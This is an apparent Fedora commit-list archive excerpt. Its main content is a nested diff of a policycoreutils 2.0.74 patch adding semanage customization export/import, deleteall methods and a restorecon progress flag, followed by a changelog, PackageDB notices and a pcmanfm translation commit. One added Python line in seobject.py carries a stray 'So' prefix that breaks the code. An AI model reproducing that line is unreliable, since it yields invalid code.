+                       usage(_("Requires 2 or more arguments"))
+                 
+                gopts, cmds = getopt.getopt(sys.argv[1:],
+-                                           '01adf:i:lhmnp:s:FCDR:L:r:t:T:P:S:',
++                                           '01adf:i:lhmno:p:s:FCDR:L:r:t:T:P:S:',
+                                            ['add',
+                                             'delete',
+                                             'deleteall',
+@@ -450,6 +500,7 @@
+                                             'localist',
+                                             'off', 
+                                             'on', 
++                                            'output=',
+                                             'proto=',
+                                             'seuser=',
+                                             'store=',
+@@ -465,6 +516,16 @@
+                              store = a
+                       if o == "-i" or o == '--input':
+                              input = a
++                      if o == "-o" or o == '--output':
++                             output = a
++
++               if output != None:
++                      if output != "-":
++                             sys.stdout = open(output, 'w')
++                      for i in manageditems:
++                             print "%s -D" % i
++                             process_args([i, "-E"])
++                      sys.exit(0)
+ 
+                if input != None:
+                       if input == "-":
+@@ -474,6 +535,7 @@
+                       trans = seobject.semanageRecords(store)
+                       trans.start()
+                       for l in fd.readlines():
++                             print l
+                              process_args(mkargv(l))
+                       trans.finish()
+                else:
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semanage/seobject.py policycoreutils-2.0.74/semanage/seobject.py
 --- nsapolicycoreutils/semanage/seobject.py	2009-09-08 09:03:10.000000000 -0400
-+++ policycoreutils-2.0.74/semanage/seobject.py	2009-10-01 11:34:19.000000000 -0400
-@@ -195,88 +195,6 @@
++++ policycoreutils-2.0.74/semanage/seobject.py	2009-10-30 16:31:59.000000000 -0400
+@@ -37,40 +37,6 @@
+ 
+ import syslog
+ 
+-handle = None
+-
+-def get_handle(store):
+-       global handle
+-       global is_mls_enabled
+-
+-       handle = semanage_handle_create()
+-       if not handle:
+-              raise ValueError(_("Could not create semanage handle"))
+-       
+-       if store != "":
+-              semanage_select_store(handle, store, SEMANAGE_CON_DIRECT);
+-
+-       if not semanage_is_managed(handle):
+-              semanage_handle_destroy(handle)
+-              raise ValueError(_("SELinux policy is not managed or store cannot be accessed."))
+-
+-       rc = semanage_access_check(handle)
+-       if rc < SEMANAGE_CAN_READ:
+-              semanage_handle_destroy(handle)
+-              raise ValueError(_("Cannot read policy store."))
+-
+-       rc = semanage_connect(handle)
+-       if rc < 0:
+-              semanage_handle_destroy(handle)
+-              raise ValueError(_("Could not establish semanage connection"))
+-
+-       is_mls_enabled = semanage_mls_enabled(handle)
+-       if is_mls_enabled < 0:
+-              semanage_handle_destroy(handle)
+-              raise ValueError(_("Could not test MLS enabled status"))
+-
+-       return handle
+-
+ file_types = {}
+ file_types[""] = SEMANAGE_FCONTEXT_ALL;
+ file_types["all files"] = SEMANAGE_FCONTEXT_ALL;
+@@ -194,127 +160,152 @@
+ 		return trans
  	else:
  		return raw
- 	
+-	
 -class setransRecords:
 -	def __init__(self):
 -		self.filename = selinux.selinux_translations_path()
@@ -2446,10 +2739,13 @@ diff --exclude-from=exclude --exclude=se
 -				continue
 -                        if self.ddict.has_key(i[0]) == 0:
 -                               self.ddict[i[0]] = i[1]
--
+ 
 -	def get_all(self):
 -		return self.ddict
--
++class semanageRecords:
++        transaction = False
++        handle = None
+ 
 -	def out(self):
 -		rec = ""
 -		for c in self.comments:
@@ -2471,7 +2767,11 @@ diff --exclude-from=exclude --exclude=se
 -	def add(self, raw, trans):
 -		if trans.find(" ") >= 0:
 -			raise ValueError(_("Translations can not contain spaces '%s' ") % trans)
--
++        def __init__(self, store):
++               global handle
++                      
++               self.sh = self.get_handle(store)
+ 
 -		if validate_level(raw) == None:
 -			raise ValueError(_("Invalid Level '%s' ") % raw)
 -		
@@ -2483,7 +2783,9 @@ diff --exclude-from=exclude --exclude=se
 -	
 -	def modify(self, raw, trans):
 -		if trans.find(" ") >= 0:
--
++        def get_handle(self, store):
++               global is_mls_enabled
+ 
 -			raise ValueError(_("Translations can not contain spaces '%s' ") % trans)
 -		if self.ddict.has_key(raw):
 -			self.ddict[raw] = trans
@@ -2502,12 +2804,81 @@ diff --exclude-from=exclude --exclude=se
 -		os.chmod(newfilename, os.stat(self.filename)[stat.ST_MODE])
 -		os.rename(newfilename, self.filename)
 -                os.system("/sbin/service mcstrans reload > /dev/null")
--
- class semanageRecords:
- 	def __init__(self, store):
-                global handle
-@@ -315,6 +233,77 @@
-                self.transaction = False
++               if semanageRecords.handle:
++                      return semanageRecords.handle
+ 
+-class semanageRecords:
+-	def __init__(self, store):
+-               global handle
++               handle = semanage_handle_create()
++               if not handle:
++                      raise ValueError(_("Could not create semanage handle"))
++               
++               if store != "":
++                      semanage_select_store(handle, store, SEMANAGE_CON_DIRECT);
+                       
+-               if handle != None:
+-                      self.sh = handle
+-               else:
+-                      self.sh = get_handle(store)
+-               self.transaction = False
++               if not semanage_is_managed(handle):
++                      semanage_handle_destroy(handle)
++                      raise ValueError(_("SELinux policy is not managed or store cannot be accessed."))
++                      
++               rc = semanage_access_check(handle)
++               if rc < SEMANAGE_CAN_READ:
++                      semanage_handle_destroy(handle)
++                      raise ValueError(_("Cannot read policy store."))
++               
++               rc = semanage_connect(handle)
++               if rc < 0:
++                      semanage_handle_destroy(handle)
++                      raise ValueError(_("Could not establish semanage connection"))
++
++               is_mls_enabled = semanage_mls_enabled(handle)
++               if is_mls_enabled < 0:
++                      semanage_handle_destroy(handle)
++                      raise ValueError(_("Could not test MLS enabled status"))
++
++               semanageRecords.handle = handle
++               return semanageRecords.handle
+ 
+         def deleteall(self):
+                raise ValueError(_("Not yet implemented"))
+ 
+         def start(self):
+-               if self.transaction:
++               if semanageRecords.transaction:
+                       raise ValueError(_("Semanage transaction already in progress"))
+                self.begin()
+-               self.transaction = True
+-
++               semanageRecords.transaction = True
+         def begin(self):
+-               if self.transaction:
++               if semanageRecords.transaction:
+                       return
+                rc = semanage_begin_transaction(self.sh)
+                if rc < 0:
+                       raise ValueError(_("Could not start semanage transaction"))
++        def customized(self):
++               raise ValueError(_("Not yet implemented"))
++
+         def commit(self):
+-               if self.transaction:
++               if semanageRecords.transaction:
+                       return
+                rc = semanage_commit(self.sh) 
+                if rc < 0:
+                       raise ValueError(_("Could not commit semanage transaction"))
+ 
+         def finish(self):
+-               if not self.transaction:
++               if not semanageRecords.transaction:
+                       raise ValueError(_("Semanage transaction not in progress"))
+-               self.transaction = False
++               semanageRecords.transaction = False
                 self.commit()
  
 +class moduleRecords(semanageRecords):
@@ -2584,7 +2955,7 @@ diff --exclude-from=exclude --exclude=se
  class dontauditClass(semanageRecords):
  	def __init__(self, store):
                 semanageRecords.__init__(self, store)
-@@ -341,6 +330,7 @@
+@@ -341,6 +332,7 @@
                        name = semanage_module_get_name(mod)
                        if name and name.startswith("permissive_"):
                               l.append(name.split("permissive_")[1])
@@ -2592,7 +2963,195 @@ diff --exclude-from=exclude --exclude=se
                 return l
  
  	def list(self, heading = 1, locallist = 0):
-@@ -1120,7 +1110,7 @@
+@@ -425,7 +417,9 @@
+ 		if rc < 0:
+ 			raise ValueError(_("Could not check if login mapping for %s is defined") % name)
+ 		if exists:
+-			raise ValueError(_("Login mapping for %s is already defined") % name)
++                       semanage_seuser_key_free(k)
++                       return self.__modify(name, sename, serange)
++
+                 if name[0] == '%':
+                        try:
+                               grp.getgrnam(name[1:])
+@@ -557,6 +551,16 @@
+ 		
+ 		mylog.log(1, "delete SELinux user mapping", name);
+ 
++	def deleteall(self):
++		(rc, ulist) = semanage_seuser_list_local(self.sh)
++		if rc < 0:
++			raise ValueError(_("Could not list login mappings"))
++
++                self.begin()
++		for u in ulist:
++			self.__delete(semanage_seuser_get_name(u))
++                self.commit()
++
+ 	def get_all(self, locallist = 0):
+ 		ddict = {}
+                 if locallist:
+@@ -571,6 +575,15 @@
+ 			ddict[name] = (semanage_seuser_get_sename(u), semanage_seuser_get_mlsrange(u))
+ 		return ddict
+ 
++        def customized(self):
++                l = []
++                ddict = self.get_all(True)
++                keys = ddict.keys()
++                keys.sort()
++                for k in keys:
++                       l.append("-a -s %s -r '%s' %s" % (ddict[k][0], ddict[k][1], k))
++                return l
++
+ 	def list(self,heading = 1, locallist = 0):
+ 		ddict = self.get_all(locallist)
+ 		keys = ddict.keys()
+@@ -613,7 +626,8 @@
+                 if rc < 0:
+                        raise ValueError(_("Could not check if SELinux user %s is defined") % name)
+                 if exists:
+-                       raise ValueError(_("SELinux user %s is already defined") % name)
++                       semanage_user_key_free(k)
++                       return self.__modify(name, roles, selevel, serange, prefix)
+ 
+                 (rc, u) = semanage_user_create(self.sh)
+                 if rc < 0:
+@@ -764,6 +778,16 @@
+ 		
+ 		mylog.log(1,"delete SELinux user record", name)
+ 
++	def deleteall(self):
++		(rc, ulist) = semanage_user_list_local(self.sh)
++		if rc < 0:
++			raise ValueError(_("Could not list login mappings"))
++
++                self.begin()
++		for u in ulist:
++			self.__delete(semanage_user_get_name(u))
++                self.commit()
++
+ 	def get_all(self, locallist = 0):
+ 		ddict = {}
+                 if locallist:
+@@ -784,6 +808,15 @@
+ 
+ 		return ddict
+ 
++        def customized(self):
++                l = []
++                ddict = self.get_all(True)
++                keys = ddict.keys()
++                keys.sort()
++                for k in keys:
++                       l.append("-a -r %s -R '%s' %s" % (ddict[k][2], ddict[k][3], k))
++                return l
++
+ 	def list(self, heading = 1, locallist = 0):
+ 		ddict = self.get_all(locallist)
+ 		keys = ddict.keys()
+@@ -822,12 +855,16 @@
+ 			low = int(ports[0])
+ 			high = int(ports[1])
+ 
++                if high > 65536:
++                       raise ValueError(_("Invalid Port"))
++
+ 		(rc, k) = semanage_port_key_create(self.sh, low, high, proto_d)
+ 		if rc < 0:
+ 			raise ValueError(_("Could not create a key for %s/%s") % (proto, port))
+ 		return ( k, proto_d, low, high )
+ 
+ 	def __add(self, port, proto, serange, type):
++
+ 		if is_mls_enabled == 1:
+ 			if serange == "":
+ 				serange = "s0"
+@@ -843,7 +880,8 @@
+ 		if rc < 0:
+ 			raise ValueError(_("Could not check if port %s/%s is defined") % (proto, port))
+ 		if exists:
+-			raise ValueError(_("Port %s/%s already defined") % (proto, port))
++                       semanage_port_key_free(k)
++                       return self.__modify(port, proto, serange, type)
+ 
+ 		(rc, p) = semanage_port_create(self.sh)
+ 		if rc < 0:
+@@ -890,6 +928,7 @@
+                 self.commit()
+ 
+ 	def __modify(self, port, proto, serange, setype):
++
+ 		if serange == "" and setype == "":
+ 			if is_mls_enabled == 1:
+ 				raise ValueError(_("Requires setype or serange"))
+@@ -1024,6 +1063,18 @@
+ 				ddict[(ctype,proto_str)].append("%d-%d" % (low, high))
+ 		return ddict
+ 
++        def customized(self):
++                l = []
++		ddict = self.get_all(True)
++		keys = ddict.keys()
++		keys.sort()
++                for k in keys:
++                       if k[0] == k[1]:
++                              l.append("-a -t %s -p %s %s" % (ddict[k][0], k[2], k[0]))
++                       else:
++                              l.append("-a -t %s -p %s %s-%s" % (ddict[k][0], k[2], k[0], k[1]))
++                return l
++
+ 	def list(self, heading = 1, locallist = 0):
+ 		if heading:
+ 			print "%-30s %-8s %s\n" % (_("SELinux Port Type"), _("Proto"), _("Port Number"))
+@@ -1040,7 +1091,8 @@
+ class nodeRecords(semanageRecords):
+        def __init__(self, store = ""):
+                semanageRecords.__init__(self,store)
+-
++               self.protocol = ["ipv4", "ipv6"]
++       
+        def __add(self, addr, mask, proto, serange, ctype):
+                if addr == "":
+                        raise ValueError(_("Node Address is required"))
+@@ -1048,14 +1100,11 @@
+                if mask == "":
+                        raise ValueError(_("Node Netmask is required"))
+ 
+-	       if proto == "ipv4":
+-                       proto = 0
+-               elif proto == "ipv6":
+-                       proto = 1
+-               else:
++               try:
++                      proto = self.protocol.index(proto)
++               except:
+                       raise ValueError(_("Unknown or missing protocol"))
+ 
+-
+                if is_mls_enabled == 1:
+                        if serange == "":
+                                serange = "s0"
+@@ -1073,7 +1122,8 @@
+ 
+                (rc, exists) = semanage_node_exists(self.sh, k)
+                if exists:
+-                       raise ValueError(_("Addr %s already defined") % addr)
++                       semanage_node_key_free(k)
++                       return self.__modify(addr, mask, self.protocol[proto], serange, ctype)
+ 
+                (rc, node) = semanage_node_create(self.sh)
+                if rc < 0:
+@@ -1097,7 +1147,7 @@
+                if rc < 0:
+                        raise ValueError(_("Could not set role in addr context for %s") % addr)
+ 
+-               rc = semanage_context_set_type(self.sh, con, ctype)
++So                rc = semanage_context_set_type(self.sh, con, ctype)
+                if rc < 0:
+                        raise ValueError(_("Could not set type in addr context for %s") % addr)
+ 
+@@ -1120,7 +1170,7 @@
  
         def add(self, addr, mask, proto, serange, ctype):
                  self.begin()
@@ -2601,7 +3160,126 @@ diff --exclude-from=exclude --exclude=se
                  self.commit()
  
         def __modify(self, addr, mask, proto, serange, setype):
-@@ -1420,6 +1410,48 @@
+@@ -1129,13 +1179,10 @@
+ 
+                if mask == "":
+                        raise ValueError(_("Node Netmask is required"))
+-               if proto == "ipv4":
+-                       proto = 0
+-               elif proto == "ipv6":
+-                       proto = 1
+-	       else:
+-		      raise ValueError(_("Unknown or missing protocol"))
+-
++               try:
++                      proto = self.protocol.index(proto)
++               except:
++                      raise ValueError(_("Unknown or missing protocol"))
+ 
+                if serange == "" and setype == "":
+                        raise ValueError(_("Requires setype or serange"))
+@@ -1180,11 +1227,9 @@
+                if mask == "":
+                        raise ValueError(_("Node Netmask is required"))
+ 
+-	       if proto == "ipv4":
+-                       proto = 0
+-               elif proto == "ipv6":
+-                       proto = 1
+-               else:
++               try:
++                      proto = self.protocol.index(proto)
++               except:
+                       raise ValueError(_("Unknown or missing protocol"))
+ 
+                (rc, k) = semanage_node_key_create(self.sh, addr, mask, proto)
+@@ -1214,6 +1259,16 @@
+               self.__delete(addr, mask, proto)
+               self.commit()
+ 		
++       def deleteall(self):
++              (rc, nlist) = semanage_node_list_local(self.sh)
++              if rc < 0:
++                     raise ValueError(_("Could not deleteall node mappings"))
++              
++              self.begin()
++              for node in nlist:
++                     self.__delete(semanage_node_get_addr(self.sh, node)[1], semanage_node_get_mask(self.sh, node)[1], self.protocol[semanage_node_get_proto(node)])
++              self.commit()
++
+        def get_all(self, locallist = 0):
+                ddict = {}
+ 	       if locallist :
+@@ -1227,15 +1282,20 @@
+                        con = semanage_node_get_con(node)
+                        addr = semanage_node_get_addr(self.sh, node)
+                        mask = semanage_node_get_mask(self.sh, node)
+-                       proto = semanage_node_get_proto(node)
+-		       if proto == 0:
+-				proto = "ipv4"
+-		       elif proto == 1:
+-				proto = "ipv6"
++                       proto = self.protocol[semanage_node_get_proto(node)]
+                        ddict[(addr[1], mask[1], proto)] = (semanage_context_get_user(con), semanage_context_get_role(con), semanage_context_get_type(con), semanage_context_get_mls(con))
+ 
+                return ddict
+ 
++       def customized(self):
++               l = []
++               ddict = self.get_all(True)
++               keys = ddict.keys()
++               keys.sort()
++               for k in keys:
++                      l.append("-a -M %s -p %s -t %s %s" % (k[1], k[2],ddict[k][2], k[0]))
++               return l
++
+        def list(self, heading = 1, locallist = 0):
+                if heading:
+                        print "%-18s %-18s %-5s %-5s\n" % ("IP Address", "Netmask", "Protocol", "Context")
+@@ -1275,7 +1335,8 @@
+ 		if rc < 0:
+ 			raise ValueError(_("Could not check if interface %s is defined") % interface)
+ 		if exists:
+-			raise ValueError(_("Interface %s already defined") % interface)
++                        semanage_iface_key_free(k)
++                        return self.__modify(interface, serange, ctype)
+ 
+ 		(rc, iface) = semanage_iface_create(self.sh)
+ 		if rc < 0:
+@@ -1389,6 +1450,16 @@
+                 self.__delete(interface)
+                 self.commit()
+ 		
++        def deleteall(self):
++		(rc, ulist) = semanage_iface_list_local(self.sh)
++		if rc < 0:
++			raise ValueError(_("Could not delete all interface  mappings"))
++
++                self.begin()
++		for i in ulist:
++			self.__delete(semanage_iface_get_name(i))
++                self.commit()
++
+ 	def get_all(self, locallist = 0):
+ 		ddict = {}
+                 if locallist:
+@@ -1404,6 +1475,15 @@
+ 
+ 		return ddict
+ 			
++        def customized(self):
++                l = []
++                ddict = self.get_all(True)
++                keys = ddict.keys()
++                keys.sort()
++                for k in keys:
++                       l.append("-a -t %s %s" % (ddict[k][2], k))
++                return l
++
+ 	def list(self, heading = 1, locallist = 0):
+ 		if heading:
+ 			print "%-30s %s\n" % (_("SELinux Interface"), _("Context"))
+@@ -1420,6 +1500,48 @@
  class fcontextRecords(semanageRecords):
  	def __init__(self, store = ""):
  		semanageRecords.__init__(self, store)
@@ -2650,7 +3328,17 @@ diff --exclude-from=exclude --exclude=se
  
          def createcon(self, target, seuser = "system_u"):
                  (rc, con) = semanage_context_create(self.sh)
-@@ -1586,9 +1618,16 @@
+@@ -1470,7 +1592,8 @@
+                               raise ValueError(_("Could not check if file context for %s is defined") % target)
+ 
+                 if exists:
+-                       raise ValueError(_("File context for %s already defined") % target)
++                       semanage_fcontext_key_free(k)
++                       return self.__modify(target, type, ftype, serange, seuser)
+ 
+ 		(rc, fcontext) = semanage_fcontext_create(self.sh)
+ 		if rc < 0:
+@@ -1586,9 +1709,16 @@
                                raise ValueError(_("Could not delete the file context %s") % target)
                         semanage_fcontext_key_free(k)
  	
@@ -2667,9 +3355,20 @@ diff --exclude-from=exclude --exclude=se
  		(rc,k) = semanage_fcontext_key_create(self.sh, target, file_types[ftype])
  		if rc < 0:
  			raise ValueError(_("Could not create a key for %s") % target)
-@@ -1644,11 +1683,11 @@
+@@ -1643,12 +1773,22 @@
+ 
  		return ddict
  			
++        def customized(self):
++               l = []
++               fcon_dict = self.get_all(True)
++               keys = fcon_dict.keys()
++               keys.sort()
++               for k in keys:
++                      if fcon_dict[k]:
++                             l.append("-a -f '%s' -t %s '%s'" % (k[1], fcon_dict[k][2], k[0]))
++               return l
++
  	def list(self, heading = 1, locallist = 0 ):
 -		if heading:
 -			print "%-50s %-18s %s\n" % (_("SELinux fcontext"), _("type"), _("Context"))
@@ -2681,9 +3380,26 @@ diff --exclude-from=exclude --exclude=se
  		for k in keys:
  			if fcon_dict[k]:
  				if is_mls_enabled:
+@@ -1794,6 +1934,16 @@
+                else:
+                       return _("unknown")
+ 
++        def customized(self):
++               l = []
++               ddict = self.get_all(True)
++               keys = ddict.keys()
++               keys.sort()
++               for k in keys:
++                      if ddict[k]:
++                             l.append("-%s %s" %  (ddict[k][2], k))
++               return l
++
+ 	def list(self, heading = True, locallist = False, use_file = False):
+                 on_off = (_("off"), _("on")) 
+ 		if use_file:
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semodule/semodule.8 policycoreutils-2.0.74/semodule/semodule.8
 --- nsapolicycoreutils/semodule/semodule.8	2009-09-17 08:59:43.000000000 -0400
-+++ policycoreutils-2.0.74/semodule/semodule.8	2009-09-25 15:21:16.000000000 -0400
++++ policycoreutils-2.0.74/semodule/semodule.8	2009-10-15 10:37:41.000000000 -0400
 @@ -35,6 +35,12 @@
  .B  \-b,\-\-base=MODULE_PKG   
  install/replace base module package
@@ -2699,7 +3415,7 @@ diff --exclude-from=exclude --exclude=se
  .TP
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/semodule/semodule.c policycoreutils-2.0.74/semodule/semodule.c
 --- nsapolicycoreutils/semodule/semodule.c	2009-09-17 08:59:43.000000000 -0400
-+++ policycoreutils-2.0.74/semodule/semodule.c	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/semodule/semodule.c	2009-10-15 10:37:41.000000000 -0400
 @@ -22,12 +22,12 @@
  
  #include <semanage/modules.h>
@@ -2819,7 +3535,7 @@ diff --exclude-from=exclude --exclude=se
  					}
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/Makefile policycoreutils-2.0.74/setfiles/Makefile
 --- nsapolicycoreutils/setfiles/Makefile	2009-07-07 15:32:32.000000000 -0400
-+++ policycoreutils-2.0.74/setfiles/Makefile	2009-09-25 15:21:58.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/Makefile	2009-10-15 10:37:41.000000000 -0400
 @@ -16,7 +16,7 @@
  
  all: setfiles restorecon
@@ -2831,7 +3547,7 @@ diff --exclude-from=exclude --exclude=se
  	ln -sf setfiles restorecon
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/restore.c policycoreutils-2.0.74/setfiles/restore.c
 --- nsapolicycoreutils/setfiles/restore.c	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/setfiles/restore.c	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/restore.c	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,519 @@
 +#include "restore.h"
 +
@@ -3352,9 +4068,35 @@ diff --exclude-from=exclude --exclude=se
 +
 +
 +
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/restorecon.8 policycoreutils-2.0.74/setfiles/restorecon.8
+--- nsapolicycoreutils/setfiles/restorecon.8	2008-08-28 09:34:24.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/restorecon.8	2009-10-22 08:41:15.000000000 -0400
+@@ -4,10 +4,10 @@
+ 
+ .SH "SYNOPSIS"
+ .B restorecon
+-.I [\-o outfilename ] [\-R] [\-n] [\-v] [\-e directory ] pathname...
++.I [\-o outfilename ] [\-R] [\-n] [\-p] [\-v] [\-e directory ] pathname...
+ .P
+ .B restorecon
+-.I \-f infilename [\-o outfilename ] [\-e directory ] [\-R] [\-n] [\-v] [\-F]
++.I \-f infilename [\-o outfilename ] [\-e directory ] [\-R] [\-n] [\-p] [\-v] [\-F]
+ 
+ .SH "DESCRIPTION"
+ This manual page describes the
+@@ -40,6 +40,9 @@
+ .TP 
+ .B \-o outfilename
+ save list of files with incorrect context in outfilename.
++.TP
++.B \-p
++show progress by printing * every 1000 files.
+ .TP 
+ .B \-v
+ show changes in file labels.
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/restore.h policycoreutils-2.0.74/setfiles/restore.h
 --- nsapolicycoreutils/setfiles/restore.h	1969-12-31 19:00:00.000000000 -0500
-+++ policycoreutils-2.0.74/setfiles/restore.h	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/restore.h	2009-10-15 10:37:41.000000000 -0400
 @@ -0,0 +1,49 @@
 +#ifndef RESTORE_H
 +#define RESTORE_H
@@ -3405,10 +4147,22 @@ diff --exclude-from=exclude --exclude=se
 +int process_one(char *name, int recurse);
 +
 +#endif
-Binary files nsapolicycoreutils/setfiles/restore.o and policycoreutils-2.0.74/setfiles/restore.o differ
+diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/setfiles.8 policycoreutils-2.0.74/setfiles/setfiles.8
+--- nsapolicycoreutils/setfiles/setfiles.8	2008-08-28 09:34:24.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/setfiles.8	2009-10-22 08:37:16.000000000 -0400
+@@ -31,6 +31,9 @@
+ .TP
+ .B \-n
+ don't change any file labels.
++.TP
++.B \-p
++show progress by printing * every 1000 files.
+ .TP 
+ .B \-q
+ suppress non-error output.
 diff --exclude-from=exclude --exclude=sepolgen-1.0.17 --exclude=gui --exclude=po -N -u -r nsapolicycoreutils/setfiles/setfiles.c policycoreutils-2.0.74/setfiles/setfiles.c
 --- nsapolicycoreutils/setfiles/setfiles.c	2009-09-17 08:59:43.000000000 -0400
-+++ policycoreutils-2.0.74/setfiles/setfiles.c	2009-09-20 21:26:36.000000000 -0400
++++ policycoreutils-2.0.74/setfiles/setfiles.c	2009-10-22 08:42:29.000000000 -0400
 @@ -1,26 +1,12 @@
 -#ifndef _GNU_SOURCE
 -#define _GNU_SOURCE
@@ -3484,7 +4238,7 @@ diff --exclude-from=exclude --exclude=se
  
  #define SETFILES "setfiles"
  #define RESTORECON "restorecon"
-@@ -73,246 +41,9 @@
+@@ -73,257 +41,20 @@
  
  /* Behavior flags determined based on setfiles vs. restorecon */
  static int expand_realpath;  /* Expand paths via realpath. */
@@ -3731,6 +4485,19 @@ diff --exclude-from=exclude --exclude=se
  void usage(const char *const name)
  {
  	if (iamrestorecon) {
+ 		fprintf(stderr,
+-			"usage:  %s [-iFnrRv0] [-e excludedir ] [-o filename ] [-f filename | pathname... ]\n",
++			"usage:  %s [-iFnprRv0] [-e excludedir ] [-o filename ] [-f filename | pathname... ]\n",
+ 			name);
+ 	} else {
+ 		fprintf(stderr,
+ 			"usage:  %s [-dnpqvW] [-o filename] [-r alt_root_path ] spec_file pathname...\n"
+ 			"usage:  %s -c policyfile spec_file\n"
+-			"usage:  %s -s [-dnqvW] [-o filename ] spec_file\n", name, name,
++			"usage:  %s -s [-dnpqvW] [-o filename ] spec_file\n", name, name,
+ 			name);
+ 	}
+ 	exit(1);
 @@ -334,194 +65,30 @@
  void inc_err()
  {


Index: policycoreutils.spec
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/devel/policycoreutils.spec,v
retrieving revision 1.654
retrieving revision 1.655
diff -u -p -r1.654 -r1.655
--- policycoreutils.spec	19 Oct 2009 19:05:29 -0000	1.654
+++ policycoreutils.spec	30 Oct 2009 21:01:44 -0000	1.655
@@ -6,7 +6,7 @@
 Summary: SELinux policy core utilities
 Name:	 policycoreutils
 Version: 2.0.74
-Release: 12%{?dist}
+Release: 14%{?dist}
 License: GPLv2+
 Group:	 System Environment/Base
 Source:	 http://www.nsa.gov/selinux/archives/policycoreutils-%{version}.tgz
@@ -296,6 +296,13 @@ fi
 exit 0
 
 %changelog
+* Fri Oct 30 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-14
+- Allow semanage -i and semanage -o to generate customization files.
+- semanage -o will generate a customization file that semanage -i can read and set a machines to the same selinux configuration
+
+* Tue Oct 20 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-13
+- Fix restorecond man page
+
 * Mon Oct 19 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-12
 - Add generation of the users context file to polgengui
 



From pkgdb at fedoraproject.org  Fri Oct 30 21:04:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 21:04:03 +0000
Subject: [pkgdb] ovirt-node: apevec has requested commit
Message-ID: <20091030210403.694E610F806@bastion2.fedora.phx.redhat.com>

apevec has requested the commit acl on ovirt-node (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ovirt-node



From pkgdb at fedoraproject.org  Fri Oct 30 21:04:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 21:04:05 +0000
Subject: [pkgdb] ovirt-node: apevec has requested commit
Message-ID: <20091030210405.38BE610F83E@bastion2.fedora.phx.redhat.com>

apevec has requested the commit acl on ovirt-node (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ovirt-node



From cwickert at fedoraproject.org  Fri Oct 30 21:04:25 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Fri, 30 Oct 2009 21:04:25 +0000 (UTC)
Subject: rpms/pcmanfm/devel
	pcmanfm-0.5.2-remove-invalid-trailing-newline.patch, NONE,
	1.1 pcmanfm-0.5.2-update-translations.patch, NONE,
	1.1 .cvsignore, 1.20, 1.21 pcmanfm.spec, 1.31, 1.32 sources,
	1.20, 1.21
Message-ID: <20091030210425.B727811C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/pcmanfm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30997

Modified Files:
	.cvsignore pcmanfm.spec sources 
Added Files:
	pcmanfm-0.5.2-remove-invalid-trailing-newline.patch 
	pcmanfm-0.5.2-update-translations.patch 
Log Message:
* Fri Oct 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.5.2-1
- Update tp 0.5.2 (fixes sourceforge bug 2883172)


pcmanfm-0.5.2-remove-invalid-trailing-newline.patch:
 ca.po |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pcmanfm-0.5.2-remove-invalid-trailing-newline.patch ---
--- trunk/po/ca.po	2009/10/01 12:09:33	902
+++ trunk/po/ca.po	2009/10/25 21:16:11	911
@@ -301,7 +301,7 @@
 "Des de fa una setmana\n"
 "Des de fa un mes\n"
 "Des de fa un any\n"
-"Dins el rang de dates seleccionat\n"
+"Dins el rang de dates seleccionat"
 
 #: ../data/ui/find-files.glade.h:15
 msgid "Audio Files (mp3, ogg,...)"

pcmanfm-0.5.2-update-translations.patch:
 POTFILES.in |    6 
 af.po       |   46 +++---
 ar.po       |   51 ++++--
 bg.po       |  179 +++++++++---------------
 bn_IN.po    |   51 ++++--
 ca.po       |   79 +++++-----
 cs.po       |   51 ++++--
 da.po       |   51 ++++--
 de.po       |   51 ++++--
 el.po       |   51 ++++--
 es.po       |   54 ++++---
 et.po       |   51 ++++--
 eu.po       |   51 ++++--
 fa.po       |   48 ++++--
 fi.po       |   51 ++++--
 fr.po       |   56 ++++---
 gl.po       |  443 +++++++++++++++++++++++++++++++++---------------------------
 he.po       |   62 +++++---
 hr.po       |   46 +++---
 hu.po       |   51 ++++--
 id.po       |   51 ++++--
 it.po       |   57 ++++---
 ja.po       |   51 ++++--
 km.po       |   51 ++++--
 ko.po       |   51 ++++--
 lt.po       |   61 ++++----
 ml.po       |   48 ++++--
 ms.po       |   51 ++++--
 nb.po       |   51 ++++--
 nl.po       |   51 ++++--
 nn.po       |   51 ++++--
 pl.po       |   54 ++++---
 ps.po       |   48 ++++--
 pt.po       |   51 ++++--
 pt_BR.po    |   51 ++++--
